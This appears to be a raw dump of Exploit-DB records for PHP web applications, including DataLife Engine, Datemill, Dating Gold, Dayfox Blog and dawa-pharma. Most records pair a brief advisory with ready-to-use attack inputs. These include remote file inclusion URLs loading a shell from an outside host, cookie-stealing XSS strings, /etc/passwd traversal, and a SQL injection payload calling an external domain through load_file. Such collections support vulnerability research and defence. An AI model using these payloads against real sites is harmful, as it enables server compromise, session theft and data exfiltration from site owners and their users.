deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33543
Description: DataLife Engine 8.3 - '/engine/ajax/pm.php?config[lang]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37851/info
  
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
  
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com
Exploit-DB #33542
Description: DataLife Engine 8.3 - '/engine/inc/help.php?config[langs]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37851/info
 
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
 
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com
Exploit-DB #33541
Description: DataLife Engine 8.3 - '/engine/inc/include/init.php?selected_language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37851/info

Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/inc/include/init.php?selected_language=http://www.example2.com
Exploit-DB #24438
Description: DataLife Engine 9.7 - 'preview.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2013-01-28
Author: EgiX

Exploit:
------------------------------------------------------------------
DataLife Engine 9.7 (preview.php) PHP Code Injection Vulnerability
------------------------------------------------------------------

[-] Software Link:

http://dleviet.com/


[-] Affected Version:

9.7 only.


[-] Vulnerability Description:

The vulnerable code is located in the /engine/preview.php script:

246.	$c_list = implode (',', $_REQUEST['catlist']);
247.
248.	if( strpos( $tpl->copy_template, "[catlist=" ) !== false ) {
249.		$tpl->copy_template = preg_replace( "#\\[catlist=(.+?)\\](.*?)\\[/catlist\\]#ies", "check_category('\\1', '\\2', '{$c_list}')", $tpl->copy_template );
250.	}
251.		
252.	if( strpos( $tpl->copy_template, "[not-catlist=" ) !== false ) {
253.		$tpl->copy_template = preg_replace( "#\\[not-catlist=(.+?)\\](.*?)\\[/not-catlist\\]#ies", "check_category('\\1', '\\2', '{$c_list}', false)", $tpl->copy_template );
254.	}

User supplied input passed through the $_REQUEST['catlist'] parameter is not properly
sanitized before being used in a preg_replace() call with the e modifier at lines 249 and 253.
This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of
this vulnerability requires a template which contains a “catlist” (or a “not-catlist”) tag.


[-] Solution:

Apply the vendor patch: http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html


[-] Disclosure Timeline:

[16/01/2013] - Vendor notified
[19/01/2013] - Vendor patch released
[20/01/2013] - CVE number requested
[21/01/2013] - CVE number assigned
[28/01/2013] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-1412 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-01
Exploit-DB #32411
Description: Datalife Engine CMS 7.2 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-23
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/31335/info

Datalife Engine CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Datalife Engine CMS 7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
Exploit-DB #28060
Description: Datecomm 1.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-19
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18502/info

Datecomm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Viewing a profile: http://www.example.com/index.php?mode=people_card&p_id=289">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'<"<" Composing a Msg: http://www.example.com/index.php?mode=messages&act=compose&rec_id=285">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'<"<" Viewing a forum: http://www.teendating.tv/index.php?mode=forums&act=viewcat&seid=28">">'>'>'>">"><"">">">">">"><iframe%20src=http://ha.ckers.org/scriptlet.html%20<<"<"<"<'<'< XSS vuln when posting a blog. in the description input boxes: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Deleting a blog vulnerability: http://www.example.com/index.php?mode=blogs&act=remblog&seid=14&page=1 Sending a comment XSS vuln. In the comment box <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Posting a forum reply. In the reply box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Posting a classified add: in the classified add description box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Creating a group: in the create group box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> Caption input box: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
Exploit-DB #34549
Description: Datemill - 'photo_search.php?st' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42896/info
 
Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/friendy/photo_search.php?st="><script>alert(document.cookie);</script>
Exploit-DB #34548
Description: Datemill - 'photo_view.php?return' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42896/info

Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/friendy/photo_view.php?photo_id=13&return="><script>alert(document.cookie);</script>
Exploit-DB #34550
Description: Datemill - 'search.php?st' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42896/info
  
Datemill is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/friendy/search.php?st="><script>alert(document.cookie);</script>
Exploit-DB #10716
Description: Datenator 0.3.0 - 'event.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-26
Author: The_HuliGun

Exploit:
# Exploit Title: Datenator 0.3.0 (event.php id) SQL Injection
# Date: 26.12.09
# Author: The_HuliGun

# Look on code in event.php: 
 
22: if(isset($_GET['id'])) 
23: {
24: 	$event = $datenator->read_event_info($_GET['id']);

# Function read_event_info() is in file includes/functions.php 

412: function read_event_info($event_id)
413:	{
414:		$sql = "SELECT * FROM 
415:		".$this->getConfig('db_tableprefix')."events,
416:		".$this->getConfig('db_tableprefix')."events_repeat 
417:		WHERE 
418:		".$this->getConfig('db_tableprefix')."events.event_id = ".$this->prepare_sql($event_id)." and  
419:		".$this->getConfig('db_tableprefix')."events_repeat.repeat_event_id = ".$this->prepare_sql($event_id)."";
420:
421:		$event_data=$this->db->Execute($sql);
422:
423:		if($event_data) {
424:			return $event_data;
                        ... 

# As you can see variable id is not filtered, so, we can use such exploit with any php settings:

http://[targethost]/[path]/event.php?id=[SQL]

# Bug discovered by The_HuliGun

# Greetz to: NaTka, hope you'll find yourself ;>

# See u soon!
Exploit-DB #25433
Description: Datenbank Module For phpBB - 'Remote mod.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-16
Author: tom cruise

Exploit:
source: https://www.securityfocus.com/bid/13210/info

A remote cross-site scripting vulnerability affects the datenbank module for phpbb. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/phpBB/moddb/mod.php?id='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
Exploit-DB #34597
Description: Datetopia Buy Dating Site - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42973/info

Datetopia Buy Dating Site is prone to a cross-site scripting vulnerability because the it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/profile.php?profile_id=568&s_r="><script>alert(document.cookie);</script>
Exploit-DB #34070
Description: Datetopia Match Agency BiZ - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-07
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/40488/info

Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/smilies_popup.php?details_var=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E
http://www.example.com/manage_pictures.php?profile_id=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E
Exploit-DB #28097
Description: Dating Agent 4.7.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-22
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18607/info

Dating Agent is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

These issues affect Dating Agent PRO version 4.7.1; other versions may also be vulnerable.

http://www.example.com/picture.php?pid=1[SQL]
http://www.example.com/mem.php?mid=1[SQL]
http://www.example.com/search.php?search=3&sex=1[SQL]

POST /search.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
pictures=1&search=1&Submit2=1&Submit=1&sex=1&age1=1&age2=1&likes=1&maritalstatus=1&relationship=&#039;[SQL]

http://www.example.com/webmaster/index.php?login=%22%3E%3Cscript%3Ealert%28%2FElipsis%2BSecurity%2BTest%2F%29%3C%2Fscript%3E&pswd=test

POST /search.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 404
Cookie: PHPSESSID=d83ded192782c72c7f90adbac4127d7d;pass=test
sex=1&age1=1&age2=10000&likes=1&maritalstatus=Divorced&relationship=1&pictures=off&onlinet=0&search=&Submit=Search%20%26gt%3B&login=%22%3E%3Cscript%3Ealert%28%2FElipsis%2BSecurity%2BTest%2F%29%3C%2Fscript%3E&fname=1
Exploit-DB #30302
Description: Dating Gold 3.0.5 - 'footer.php?int_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-13
Author: mostafa_ragab

Exploit:
source: https://www.securityfocus.com/bid/24910/info
 
AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
 
AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/footer.php?int_path=http://www.example2.com/shell.txt?cmd
Exploit-DB #30301
Description: Dating Gold 3.0.5 - 'header.php?int_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-13
Author: mostafa_ragab

Exploit:
source: https://www.securityfocus.com/bid/24910/info

AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/header.php?int_path=http://www.example2.com/shell.txt?cmd
Exploit-DB #30303
Description: Dating Gold 3.0.5 - 'secure.admin.php?int_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-13
Author: mostafa_ragab

Exploit:
source: https://www.securityfocus.com/bid/24910/info
  
AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
  
AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/secure.admin.php?int_path=http://www.example2.com/shell.txt?cmd
Exploit-DB #41027
Description: Dating Script 3.25 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-11
Author: Dawid Morawski

Exploit:
# Vulnerability: Dating Script v3.25 - SQL Injection
# Date: 11.01.2017
# Software link: http://itechscripts.com/dating-script/
# Demo: http://dating.itechscripts.com
# Price: 199$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawid.morawski1990@gmail.com
#######################################


1. Description
An attacker can exploit this vulnerability to read from the database.

2. SQL Injection / Proof of Concept:
Vulnerable Parametre: id
http://localhost/[PATH]/see_more_details.php?id=[SQL]
Exploit-DB #51818
Description: dawa-pharma 1.0-2022 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2024-02-27
Author: nu11secur1ty

Exploit:
## Title: dawa-pharma-1.0-2022 Multiple-SQLi
## Author: nu11secur1ty
## Date: 10/12/2023
## Vendor: https://www.mayurik.com/
## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The email parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'
was submitted in the email parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker can get all the information for the clients
of this application from the server, and very sensitive information
for accessing the server by exploiting the vulnerability.

[+]Payload:
```MySQL
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: email=-8698' OR 5305=5305-- vvuH&[CREDENTIAL_REDACTED]=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=mayuri.infospace@gmail.com'+(select
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''
AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--
VRdC&[CREDENTIAL_REDACTED]=
---
```


## Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022


System Administrator - Infrastructure Engineer
Penetration Testing Engineer
home page: https://www.nu11secur1ty.com/
Exploit-DB #6203
Description: Dayfox Blog 4 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-08-04
Author: Virangar Security

Exploit:
             ########################################################################
             #                                                                      #
             #     ..:::::Dayfox Blog LOCAL FILE INCLUSION Vulnerbility ::::...     #           
             ########################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from ISCN
-----------------------------------
Download: http://www.dayfoxdesigns.co.nr
Dork:Powered by Dayfox Designs This is a port of WordPress  
-------------------------------------------------------------------------------------------------
vuln codes in index.php:
############line 140-144##################
if (isset($_GET["cat"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["cat"])).'.txt';
        if (file_exists($page)) {
            echo "<br /><a href=\"javascript: history.go(-1)\">&#60; Back</a>";
            @include ("$page");
############line 173-178###################
if (isset($_GET["p"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'.txt';
    $pagecomments = 'entries/'.strip_tags(htmlspecialchars($_GET["p"])).'comments.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">&#60; Back</a>';
          include ("$page");
############line 209-213##################
if (isset($_GET["archive"])) {
    $page = 'entries/'.strip_tags(htmlspecialchars($_GET["archive"])).'.txt';
        if (file_exists($page)) {
        echo '<br /><a href="javascript: history.go(-1)">&#60; Back</a>';
          include ("$page");
----------------------------------------------------------------------------------------------------

exploit:
http://site.com/index.php?p=../../../../../../../etc/passwd%00        
http://site.com/index.php?cat=../../../../../../../etc/passwd%00
http://site.com/index.php?archive=../../../../../../../etc/passwd%00
--------
young iranian h4ck3rz

# milw0rm.com [2008-08-04]
Exploit-DB #5347
Description: DaZPHP 0.1 - 'prefixdir' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-02
Author: w0cker

Exploit:
Script Name : DaZPHP

Download : http://sourceforge.net/project/showfiles.php?group_id=132192
Vul Code[Example] : http://[site]/[Path]/makepost.php?prefixdir=../../../../../../etc/passwd

Error : include "./".$prefixdir."/DaZPHPNews-0.1-1/makepost.php";
Greetz : Kezzap66345 - Str0ke - Dread 35

# milw0rm.com [2008-04-02]
Exploit-DB #10046
Description: Dazzle Blast - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-10-12
Author: NoGe

Exploit:
[o] Dazzle Blast Remote File Inclusion Vulnerability
Software : Dazzle Blast
Download : http://www.dazzleblast.com/dazzleblast.zip
Author   : NoGe
Contact  : noge[dot]code[at]gmail[dot]com
Blog     : http://evilc0de.blogspot.com/
Home     : http://antisecurity.org/

[o] Vulnerable file
require_once($ROOTDIR.'admin/functions/general.php');

admin/includes/createemails.php


[o] Exploit
http://localhost/[path]/admin/includes/createemails.php?ROOTDIR=[evilc0de]